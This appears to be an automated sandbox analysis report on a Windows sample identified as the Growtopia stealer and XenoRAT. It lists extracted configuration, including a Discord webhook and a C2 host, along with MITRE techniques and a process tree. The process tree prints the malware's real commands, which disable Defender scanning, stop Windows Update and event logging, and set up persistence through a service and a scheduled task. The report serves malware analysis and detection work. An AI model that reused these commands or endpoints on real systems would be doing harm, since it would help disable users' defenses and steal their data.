growtopia | 965e26ab119bb1fe78e0f2e9f3a4b85de6b308100faa6c12dd6aa60ee52f42ef

Analysis

max time kernel
143s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14-06-2024 20:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GX_Builder.exe
Size

12.9MB
MD5

de6416915830c63685b6771684689d36
SHA1

f3516b1816295056c870e3c15a52aafbf4e9aab3
SHA256

965e26ab119bb1fe78e0f2e9f3a4b85de6b308100faa6c12dd6aa60ee52f42ef
SHA512

7efb6ba401dad084f2e7aa0af834171724168f2bd28da2d28fd3c1083b6286b262f352fe6dac703eacb5624f8b810918293d563353dafd85ac96532da61f25a7
SSDEEP

393216:oNOnxeqv5yEgPDflLNVga2D3o5Doo7Mm:0OnxD56DtLzGD3ohoo7Mm

Score

10^/10

growtopia xenorat evasion execution persistence pyinstaller rat stealer trojan

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Extracted

Family

xenorat

jctestwindows.airdns.org

Mutex

Xeno_rat_nd8913d

Attributes

delay
5000
install_path
temp
port
45010
startup_name
WindowsErrorHandler

Signatures

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

3136 powershell.exe
2932 powershell.exe
2872 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

pid	process
3136	powershell.exe
2932	powershell.exe
2872	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

GX_Builder.exeWinErrorMgr.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	GX_Builder.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	WinErrorMgr.exe

Executes dropped EXE 8 IoCs

Processes:

Ilkdt.exeWinHostMgr.exeWinErrorMgr.exeSahyui1337.exeKeyGeneratorTOP.exeWinErrorMgr.exeKeyGeneratorTOP.exebauwrdgwodhv.exe

pid	process
704	Ilkdt.exe
2204	WinHostMgr.exe
1192	WinErrorMgr.exe
4540	Sahyui1337.exe
1504	KeyGeneratorTOP.exe
4664	WinErrorMgr.exe
2740	KeyGeneratorTOP.exe
5144	bauwrdgwodhv.exe

Loads dropped DLL 4 IoCs

Processes:

KeyGeneratorTOP.exe

pid process

2740 KeyGeneratorTOP.exe
2740 KeyGeneratorTOP.exe
2740 KeyGeneratorTOP.exe
2740 KeyGeneratorTOP.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service
T1102

Processes:

flow ioc

11 discord.com

pid	process
2740	KeyGeneratorTOP.exe
2740	KeyGeneratorTOP.exe
2740	KeyGeneratorTOP.exe
2740	KeyGeneratorTOP.exe

flow	ioc
11	discord.com

Drops file in System32 directory 4 IoCs

Processes:

bauwrdgwodhv.exeWinHostMgr.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

bauwrdgwodhv.exe

description	pid	process	target process
PID 5144 set thread context of 2572	5144	bauwrdgwodhv.exe	conhost.exe
PID 5144 set thread context of 2828	5144	bauwrdgwodhv.exe	explorer.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
5344	sc.exe
2044	sc.exe
1540	sc.exe
2436	sc.exe
3964	sc.exe
3924	sc.exe
1460	sc.exe
2660	sc.exe
2172	sc.exe
2184	sc.exe
5016	sc.exe
4988	sc.exe
5788	sc.exe
6072	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

2256 schtasks.exe

pid	process
2256	schtasks.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exemsedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exeSahyui1337.exepowershell.exemsedge.exemsedge.exeidentity_helper.exeWinHostMgr.exepowershell.exe

pid	process
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
4540	Sahyui1337.exe
4540	Sahyui1337.exe
3136	powershell.exe
3136	powershell.exe
636	taskmgr.exe
636	taskmgr.exe
3136	powershell.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
5636	msedge.exe
5636	msedge.exe
5980	msedge.exe
5980	msedge.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
5132	identity_helper.exe
5132	identity_helper.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
2204	WinHostMgr.exe
2932	powershell.exe
2932	powershell.exe
2932	powershell.exe
636	taskmgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe
2204	WinHostMgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

Processes:

msedge.exemsedge.exe

pid	process
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe
5808	msedge.exe

Suspicious use of AdjustPrivilegeToken 29 IoCs

Processes:

taskmgr.exeSahyui1337.exeIlkdt.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exeexplorer.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	636	taskmgr.exe
Token: SeSystemProfilePrivilege	636	taskmgr.exe
Token: SeCreateGlobalPrivilege	636	taskmgr.exe
Token: SeSecurityPrivilege	636	taskmgr.exe
Token: SeTakeOwnershipPrivilege	636	taskmgr.exe
Token: SeDebugPrivilege	4540	Sahyui1337.exe
Token: SeDebugPrivilege	704	Ilkdt.exe
Token: SeDebugPrivilege	3136	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeShutdownPrivilege	2528	powercfg.exe
Token: SeCreatePagefilePrivilege	2528	powercfg.exe
Token: SeShutdownPrivilege	5220	powercfg.exe
Token: SeCreatePagefilePrivilege	5220	powercfg.exe
Token: SeShutdownPrivilege	5128	powercfg.exe
Token: SeCreatePagefilePrivilege	5128	powercfg.exe
Token: SeShutdownPrivilege	1968	powercfg.exe
Token: SeCreatePagefilePrivilege	1968	powercfg.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeShutdownPrivilege	4876	powercfg.exe
Token: SeCreatePagefilePrivilege	4876	powercfg.exe
Token: SeLockMemoryPrivilege	2828	explorer.exe
Token: SeShutdownPrivilege	2144	powercfg.exe
Token: SeCreatePagefilePrivilege	2144	powercfg.exe
Token: SeShutdownPrivilege	540	powercfg.exe
Token: SeCreatePagefilePrivilege	540	powercfg.exe
Token: SeShutdownPrivilege	1672	powercfg.exe
Token: SeCreatePagefilePrivilege	1672	powercfg.exe
Token: 33	636	taskmgr.exe
Token: SeIncBasePriorityPrivilege	636	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exemsedge.exe

pid	process
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exemsedge.exe

pid	process
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
5980	msedge.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe
636	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

GX_Builder.exeWinErrorMgr.exeKeyGeneratorTOP.exeKeyGeneratorTOP.exemsedge.exe

description	pid	process	target process
PID 964 wrote to memory of 3136	964	GX_Builder.exe	powershell.exe
PID 964 wrote to memory of 3136	964	GX_Builder.exe	powershell.exe
PID 964 wrote to memory of 3136	964	GX_Builder.exe	powershell.exe
PID 964 wrote to memory of 704	964	GX_Builder.exe	Ilkdt.exe
PID 964 wrote to memory of 704	964	GX_Builder.exe	Ilkdt.exe
PID 964 wrote to memory of 704	964	GX_Builder.exe	Ilkdt.exe
PID 964 wrote to memory of 2204	964	GX_Builder.exe	WinHostMgr.exe
PID 964 wrote to memory of 2204	964	GX_Builder.exe	WinHostMgr.exe
PID 964 wrote to memory of 1192	964	GX_Builder.exe	WinErrorMgr.exe
PID 964 wrote to memory of 1192	964	GX_Builder.exe	WinErrorMgr.exe
PID 964 wrote to memory of 1192	964	GX_Builder.exe	WinErrorMgr.exe
PID 964 wrote to memory of 4540	964	GX_Builder.exe	Sahyui1337.exe
PID 964 wrote to memory of 4540	964	GX_Builder.exe	Sahyui1337.exe
PID 964 wrote to memory of 1504	964	GX_Builder.exe	KeyGeneratorTOP.exe
PID 964 wrote to memory of 1504	964	GX_Builder.exe	KeyGeneratorTOP.exe
PID 1192 wrote to memory of 4664	1192	WinErrorMgr.exe	WinErrorMgr.exe
PID 1192 wrote to memory of 4664	1192	WinErrorMgr.exe	WinErrorMgr.exe
PID 1192 wrote to memory of 4664	1192	WinErrorMgr.exe	WinErrorMgr.exe
PID 1504 wrote to memory of 2740	1504	KeyGeneratorTOP.exe	KeyGeneratorTOP.exe
PID 1504 wrote to memory of 2740	1504	KeyGeneratorTOP.exe	KeyGeneratorTOP.exe
PID 2740 wrote to memory of 5980	2740	KeyGeneratorTOP.exe	msedge.exe
PID 2740 wrote to memory of 5980	2740	KeyGeneratorTOP.exe	msedge.exe
PID 5980 wrote to memory of 5252	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5252	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe
PID 5980 wrote to memory of 5620	5980	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\GX_Builder.exe
"C:\Users\Admin\AppData\Local\Temp\GX_Builder.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAeQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAeAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcQBsACMAPgA="
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3136

C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
"C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:704

C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
"C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2204

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:3776

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:5308

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:5788

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:5344

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:3964

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:6072

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
- Launches sc.exe
PID:2044

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1968

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2528

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5220

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5128

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GMDTJRUT"
3⤵
- Launches sc.exe
PID:2172

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
3⤵
- Launches sc.exe
PID:3924

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:1540

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GMDTJRUT"
3⤵
- Launches sc.exe
PID:2184

C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
"C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1192

C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
"C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
3⤵
- Executes dropped EXE
PID:4664

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpE85C.tmp" /F
4⤵
- Creates scheduled task(s)
PID:2256

C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
"C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4540

C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
"C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1504

C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe
"C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2740

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q
4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
